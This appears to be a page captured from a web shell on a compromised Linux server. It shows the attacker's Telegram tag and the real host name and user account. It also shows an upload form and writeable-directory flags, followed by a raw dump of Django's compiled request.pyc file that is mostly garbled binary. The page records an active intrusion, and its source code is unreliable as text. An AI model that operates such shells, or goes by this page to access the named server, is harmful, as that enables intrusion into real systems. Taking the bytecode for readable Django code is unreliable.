https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/http/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/http/request.pyc
�
r�\c@@s�ddlmZmZddlZddlZddlZddlZddlmZddl	m
Z
ddlmZddl
mZddlmZmZddlmZdd	lmZdd
lmZddlmZmZddlmZmZmZmZdd
l m!Z!m"Z"m#Z#m$Z$e%�Z&ej'dej(�Z)ej'd�Z*de+fd��YZ,de%fd��YZ-defd��YZ.dddddd�Z0d�Z1d�Z2d�Z3dS(i(tabsolute_importtunicode_literalsN(tBytesIO(tpformat(tsettings(tsigning(tDisallowedHosttImproperlyConfigured(t
uploadhandler(tMultiPartParser(tsix(tMultiValueDictt
ImmutableList(tforce_bytest
force_textt	force_strt
iri_to_uri(t	parse_qslt	urlencodetquoteturljoinu
^https?://u/^([a-z0-9.-]+|\[[a-f0-9]*:[a-f0-9:]+\])(:\d+)?$tUnreadablePostErrorcB@seZRS((t__name__t
__module__(((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRstHttpRequestcB@seZdZdZgZd�Zd�Zd�Zd�Z	e
ddd�Zdd�Zd�Z
d	�Zd
�Zed��Zejd��Zd
�Zed��Zejd��Zd�Zed��Zd�Zd�Zd�Zd�Zd�ZeZd�ZRS(uA basic HTTP request.cC@sdiiiiif\|_|_|_|_|_d|_d|_d|_d|_	t
|_dS(Nu(tGETtPOSTtCOOKIEStMETAtFILEStpatht	path_infotNonetmethodtresolver_matchtFalset_post_parse_error(tself((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt__init__%s3				cC@s
t|�S(N(tbuild_request_repr(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt__repr__1scC@stjr(d|jkr(|jd}npd|jkrG|jd}nQ|jd}t|jd�}||j�r|dndkr�d||f}ntjr�dgntj}t|�\}}|r�t||�r�|Sd	|}|r�|d
|7}nt	|��dS(u?Returns the HTTP host using the environment or request headers.uHTTP_X_FORWARDED_HOSTu	HTTP_HOSTuSERVER_NAMEuSERVER_PORTu443u80u%s:%su*uInvalid HTTP_HOST header: %r.u(You may need to add %r to ALLOWED_HOSTS.N(
RtUSE_X_FORWARDED_HOSTRtstrt	is_securetDEBUGt
ALLOWED_HOSTStsplit_domain_portt
validate_hostR(R%thosttserver_portt
allowed_hoststdomaintporttmsg((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytget_host4s"	

cC@sEd|j|jjdd�r=dt|jjdd��ndfS(Nu%s%suQUERY_STRINGuu?(RRtgetR(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt
get_full_pathMsucC@s�y|j|}Wn$tk
r7|tk	r1|S�nXy)tjd||�j|d|�}Wn'tjk
r�|tk	r�|S�nX|S(u�
        Attempts to return a signed cookie. If the signature fails or the
        cookie has expired, raises an exception... unless you provide the
        default argument in which case that value will be returned instead.
        tsalttmax_age(RtKeyErrortRAISE_ERRORRtget_cookie_signertunsigntBadSignature(R%tkeytdefaultR9R:tcookie_valuetvalue((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytget_signed_cookieRs
cC@sn|s|j�}ntj|�sdd|j�r9dnd|j�|jf}t||�}nt|�S(u�
        Builds an absolute URI from the location and the variables available in
        this request. If no location is specified, the absolute URI is built on
        ``request.get_full_path()``.
        u	%s://%s%suhttpsuhttp(R8tabsolute_http_url_retmatchR+R6RRR(R%tlocationtcurrent_uri((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytbuild_absolute_uriiscC@stjjd�dkS(NuHTTPSuon(tostenvironR7(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt
_is_securewscC@shtjr^ytj\}}Wntk
r;td��nX|jj|d�|kr^tSn|j�S(NuJThe SECURE_PROXY_SSL_HEADER setting must be a tuple containing two values.(	RtSECURE_PROXY_SSL_HEADERt
ValueErrorRRR7R tTrueRL(R%theaderRC((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR+zs	
cC@s|jjd�dkS(NuHTTP_X_REQUESTED_WITHuXMLHttpRequest(RR7(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytis_ajax�scC@s|jS(N(t	_encoding(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytencoding�scC@s=||_t|d�r!|`nt|d�r9|`ndS(u�
        Sets the encoding used for GET/POST accesses. If the GET or POST
        dictionary has already been created, it is removed and recreated on the
        next access (so that it is decoded correctly).
        u_getu_postN(RRthasattrt_gett_post(R%tval((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRS�s
		cC@s/gtjD]}tj||�^q
|_dS(N(RtFILE_UPLOAD_HANDLERSRtload_handlert_upload_handlers(R%thandler((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt_initialize_handlers�scC@s|js|j�n|jS(N(RZR\(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytupload_handlers�s	
cC@s+t|d�rtd��n||_dS(Nu_filesuGYou cannot set the upload handlers after the upload has been processed.(RTtAttributeErrorRZ(R%R]((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR]�scC@s=t|jdd�|_t|||j|j�}|j�S(u:Returns a tuple of (POST QueryDict, FILES MultiValueDict).twarninguEYou cannot alter upload handlers after the upload has been processed.(RR]R	RStparse(R%Rt	post_datatparser((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytparse_file_upload�s
	cC@s�t|d�s�|jr'td��ny|j�|_Wn9tk
ru}tjtt|j	�t
j�d�nXt|j�|_
n|jS(Nu_bodyu?You cannot access body after reading from request's data streami(RTt
_read_startedt	Exceptiontreadt_bodytIOErrorR
treraiseRtargstsystexc_infoRt_stream(R%te((s5/tmp/pip-install-XxeQeY/django/django/http/request.pytbody�s	*cC@s(td�|_t�|_t|_dS(Nu(t	QueryDictRVRt_filesROR$(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt_mark_post_parse_error�scC@sU|jdkr8tdd|j�t�|_|_dS|jr_t|d�r_|j�dS|j	j
dd�jd�r�t|d�r�t|j
�}n|}y%|j|j	|�\|_|_WqQ|j��qQXnn|j	j
dd�jd�r,t|jd|j�t�|_|_n%tdd|j�t�|_|_dS(	uFPopulate self._post and self._files if the content-type is a form typeuPOSTuRSNu_bodyuCONTENT_TYPEumultipart/form-datau!application/x-www-form-urlencoded(R!RpRRRRVRqRdRTRrRR7t
startswithRRgRcRo(R%tdata((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt_load_post_and_files�s$%
%

+cO@s`t|_y|jj||�SWn9tk
r[}tjtt|j�t	j
�d�nXdS(Ni(RORdRmRfRhR
RiRRjRkRl(R%RjtkwargsRn((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRf�s
	cO@s`t|_y|jj||�SWn9tk
r[}tjtt|j�t	j
�d�nXdS(Ni(RORdRmtreadlineRhR
RiRRjRkRl(R%RjRvRn((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRw�s
	cc@s,x%tr'|j�}|sPn|VqWdS(N(RORw(R%tbuf((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt
xreadlines�s
	cC@stt|��S(N(tlisttiter(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt	readlinessN(RRt__doc__R RRRZR&R(R6R8R<RDRIRLR+RQtpropertyRStsetterR\R]RcRoRrRuRfRwRyt__iter__R|(((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRs4							
					(			RpcB@s�eZdZeZdZedd�Ze	d��Z
e
jd��Z
d�Zd�Z
d�Zd�Zd�Zd	�Zdd
�Zd�Zd�Zd
�Zd�Zdd�Zd�Zdd�ZRS(u�
    A specialized MultiValueDict which represents a query string.

    A QueryDict can be used to represent GET or POST data. It subclasses
    MultiValueDict since keys in such data can be repeated, for instance
    in the data from a form with a <select multiple> field.

    By default QueryDicts are immutable, though the copy() method
    will always return a mutable copy.

    Both keys and values set on this class are converted from the given encoding
    (DEFAULT_CHARSET by default) to unicode.
    c	C@s%tt|�j�|s%tj}n||_tjr�t|t	�ry|j
|�}Wqtk
r{|j
d�}qXnx�t|p�ddt
d|�D]\}}|j||�q�WnWxTt|p�ddt
�D]:\}}|jt||dd�t||dd��q�W||_dS(Nu
iso-8859-1utkeep_blank_valuesRSterrorsureplace(tsuperRpR&RtDEFAULT_CHARSETRSR
tPY3t
isinstancetbytestdecodetUnicodeDecodeErrorRROt
appendlistRt_mutable(R%tquery_stringtmutableRSR@RC((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR&s&		
cC@s%|jdkrtj|_n|jS(N(RRR RR�(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRS6scC@s
||_dS(N(RR(R%RC((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRS<scC@s|jstd��ndS(Nu$This QueryDict instance is immutable(R�R^(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt_assert_mutable@s	cC@sK|j�t||j�}t||j�}tt|�j||�dS(N(R�t
bytes_to_textRSR�Rpt__setitem__(R%R@RC((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�Ds
cC@s$|j�tt|�j|�dS(N(R�R�Rpt__delitem__(R%R@((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�Js
cC@sR|jddtd|j�}x-tj|�D]\}}|j||�q.W|S(NuR�RS(t	__class__RORSR
t	iterliststsetlist(R%tresultR@RC((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt__copy__NscC@sz|jddtd|j�}||t|�<xEtj|�D]4\}}|jtj||�tj||��q>W|S(NuR�RS(	R�RORStidR
R�R�tcopytdeepcopy(R%tmemoR�R@RC((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt__deepcopy__Ts
,cC@s^|j�t||j�}g|D]}t||j�^q#}tt|�j||�dS(N(R�R�RSR�RpR�(R%R@tlist_telt((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�[s
%cC@s#|j�tt|�j||�S(N(R�R�Rptsetlistdefault(R%R@tdefault_list((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�as
cC@sK|j�t||j�}t||j�}tt|�j||�dS(N(R�R�RSR�RpR�(R%R@RC((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�es
cG@s#|j�tt|�j||�S(N(R�R�Rptpop(R%R@Rj((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�ks
cC@s|j�tt|�j�S(N(R�R�Rptpopitem(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�os
cC@s!|j�tt|�j�dS(N(R�R�Rptclear(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�ss
cC@sG|j�t||j�}t||j�}tt|�j||�S(N(R�R�RSR�Rpt
setdefault(R%R@RA((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�ws
cC@s
|ji�S(u&Returns a mutable copy of this object.(R�(R%((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�}sc	@s�g}�r0t�|j���fd�}n	d�}xa|j�D]S\}}t||j�}|jg|D]!}||t||j��^qq�qFWdj|�S(u�
        Returns an encoded string of all query string arguments.

        :arg safe: Used to specify characters which do not require quoting, for
            example::

                >>> q = QueryDict('', mutable=True)
                >>> q['next'] = '/a&b/'
                >>> q.urlencode()
                'next=%2Fa%26b%2F'
                >>> q.urlencode(safe='/')
                'next=/a%26b/'

        c@s dt|��t|��fS(Nu%s=%s(R(tktv(tsafe(s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt<lambda>�scS@sti||6�S(N(R(R�R�((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR��su&(R
RStliststextendtjoin(R%R�toutputtencodeR�R�R�((R�s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR�s		0N(RRR}ROR�R RRR#R&R~RSRR�R�R�R�R�R�R�R�R�R�R�R�R�R(((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyRp
s(
											c	C@s�y+|dk	rt|�nt|j�}Wntk
rDd}nX|jrWd}nEy+|dk	rrt|�nt|j�}Wntk
r�d}nXy+|dk	r�t|�nt|j�}Wntk
r�d}nXy+|dk	r�t|�nt|j�}	Wntk
r%d}	nX|dk	r8|n|j}
t	d|j
j|
tj
|�tj
|�tj
|�tj
|	�f�S(u�
    Builds and returns the request's representation string. The request's
    attributes may be overridden by pre-processed values.
    u<could not parse>u2<%s
path:%s,
GET:%s,
POST:%s,
COOKIES:%s,
META:%s>N(R RRReR$RRRRRR�RR
t	text_type(trequestt
path_overridetGET_overridet
POST_overridetCOOKIES_overridet
META_overrideR7tposttcookiestmetaR((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR'�s<	

		





	cC@s*t|t�r"tj||d�S|SdS(u�
    Converts basestring objects to unicode, using the given encoding. Illegally
    encoded input characters are replaced with Unicode "unknown" codepoint
    (�).

    Returns any non-basestring objects without change.
    ureplaceN(R�R�R
R�(tsRS((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR��scC@su|j�}tj|�sdS|ddkr9|dfS|jdd�}t|�dkrgt|�S|ddfS(	u�
    Return a (domain, port) tuple from a given host.

    Returned domain is lower-cased. If the host is invalid, the domain will be
    empty.
    ui����u]u:iii(uu(tlowerthost_validation_reRFtrsplittlenttuple(R0tbits((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR.�s

cC@sqxj|D]b}|j�}|dkp\|jd�rS|j|�p\||dkp\||k}|rtSqWtS(u6
    Validate the given host for this site.

    Check that the host looks valid and matches a host or host pattern in the
    given list of ``allowed_hosts``. Any pattern beginning with a period
    matches a domain and all its subdomains (e.g. ``.example.com`` matches
    ``example.com`` and any subdomain), ``*`` matches anything, and anything
    else must match exactly.

    Note: This function assumes that the given host is lower-cased and has
    already had the port, if any, stripped off.

    Return ``True`` for a valid host, ``False`` otherwise.

    u*u.i(R�RstendswithROR#(R0R2tpatternRF((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyR/�s
(4t
__future__RRR�RJtreRktioRtpprintRtdjango.confRtdjango.coreRtdjango.core.exceptionsRRtdjango.core.filesRtdjango.http.multipartparserR	tdjango.utilsR
tdjango.utils.datastructuresRRtdjango.utils.encodingR
RRRt#django.utils.six.moves.urllib.parseRRRRtobjectR<tcompiletIRER�RhRRRpR R'R�R.R/(((s5/tmp/pip-install-XxeQeY/django/django/http/request.pyt<module>s6""	��/		

https://t.me/AnonymousX5 - 2025